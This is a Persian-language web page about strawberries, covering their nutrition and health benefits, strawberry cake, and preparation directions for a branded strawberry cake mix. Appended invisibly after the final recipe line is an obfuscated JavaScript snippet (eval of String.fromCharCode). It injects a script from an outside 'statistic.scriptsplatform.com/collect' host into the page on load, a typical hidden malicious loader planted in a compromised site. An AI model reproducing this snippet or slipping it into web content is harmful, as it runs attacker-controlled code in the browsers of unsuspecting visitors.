توت فرنگی

توت فرنگی یکی از میوه‌های است که پرورش آن بسیار ساده می‌باشد. توت فرنگی بومی مناطق معتدل نیمکره شمالی است و گونه‌های کشت شده آن به طور گسترده در سراسر جهان کشت می‌شود. این میوه سرشار از ویتامین C می‌باشد و  این توت‌ها معمولا به صورت خام و تازه مصرف می‌شوند و می‌توان از این توت‌ها در انواع مربا، ژله و دسر نیز استفاده کرد. توت فرنگی به صورت تجاری هم برای مصرف فوری و هم برای فرآوری به صورت توت منجمد، کنسرو شده یا به عنوان آبمیوه تولید می‌شود. با توجه به ماهیت فاسد شدنی توت‌ها و بعید بودن چیدن مکانیکی، میوه به طور کلی در نزدیکی مراکز مصرف یا فرآوری و در جایی که نیروی کار کافی در دسترس باشد، رشد می‌کند. توت‌ها مستقیماً در سبدهای کوچک چیده می‌شوند و برای بازاریابی در جعبه‌ها قرار می‌گیرند. توت فرنگی بسیار فاسد شدنی است و نیاز به نگهداری در جای خشک و خنک دارد.

فواید توت فرنگی

توت فرنگی قرمز روشن، آبدار و شیرین است. آنها منبع عالی ویتامین C و منگنز هستند و همچنین حاوی مقادیر مناسبی فولات (ویتامین B9) و پتاسیم هستند. توت فرنگی سرشار از آنتی اکسیدان ها و ترکیبات گیاهی است که ممکن است برای سلامت قلب و کنترل قند خون مفید باشد. توت فرنگی کم کالری، خوشمزه و سالم است و منبع خوبی از بسیاری از ویتامین‌ها، مواد معدنی و ترکیبات گیاهی هستند و دارای فواید زیادی برای سلامتی می‌باشند که شامل کاهش کلسترول، فشار خون، التهاب و استرس اکسیداتیو می‌تواند باشد. علاوه بر این، این توت‌ها ممکن است به جلوگیری از افزایش سطح قند خون و انسولین کمک کنند. توت فرنگی افزودنی عالی برای یک رژیم غذایی سالم است.

ارزش غذایی توت فرنگی

کیک توت فرنگی

کیک توت فرنگی – تهیه شده از توت فرنگی تازه، کیک اسفنجی و خامه فرم گرفته – یک دسر سنتی آمریکایی است. کیک توت فرنگی کیکی است که در آن از توت فرنگی به عنوان ماده اولیه استفاده می‌شود. توت فرنگی را می‌توان در خمیر کیک، روی کیک و در فراستینگ استفاده کرد. کیک های توت فرنگی معمولا سرد سرو می‌شوند.

ترکیبات پودر کیک توت فرنگی خزرخوشه

آرد گندم، شکر، شیرخشک، نشاسته، بیکینگ پودر، امولسیفایر، طعم دهنده توت فرنگی

طرز تهیه پودر کیک توت فرنگی خزرخوشه

به ازای 500 گرم پودر کیک توت فرنگی، 180 گرم تخم مرغ، 140 گرم روغن و 130 گرم آب را 2 دقیقه با دور کند همزن و 2 دقیقه با دور تند همزن مخلوط کرده و در فر با دمای 180 در جه سانتی گراد به مدت 30 دقیقه پخت شود.var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/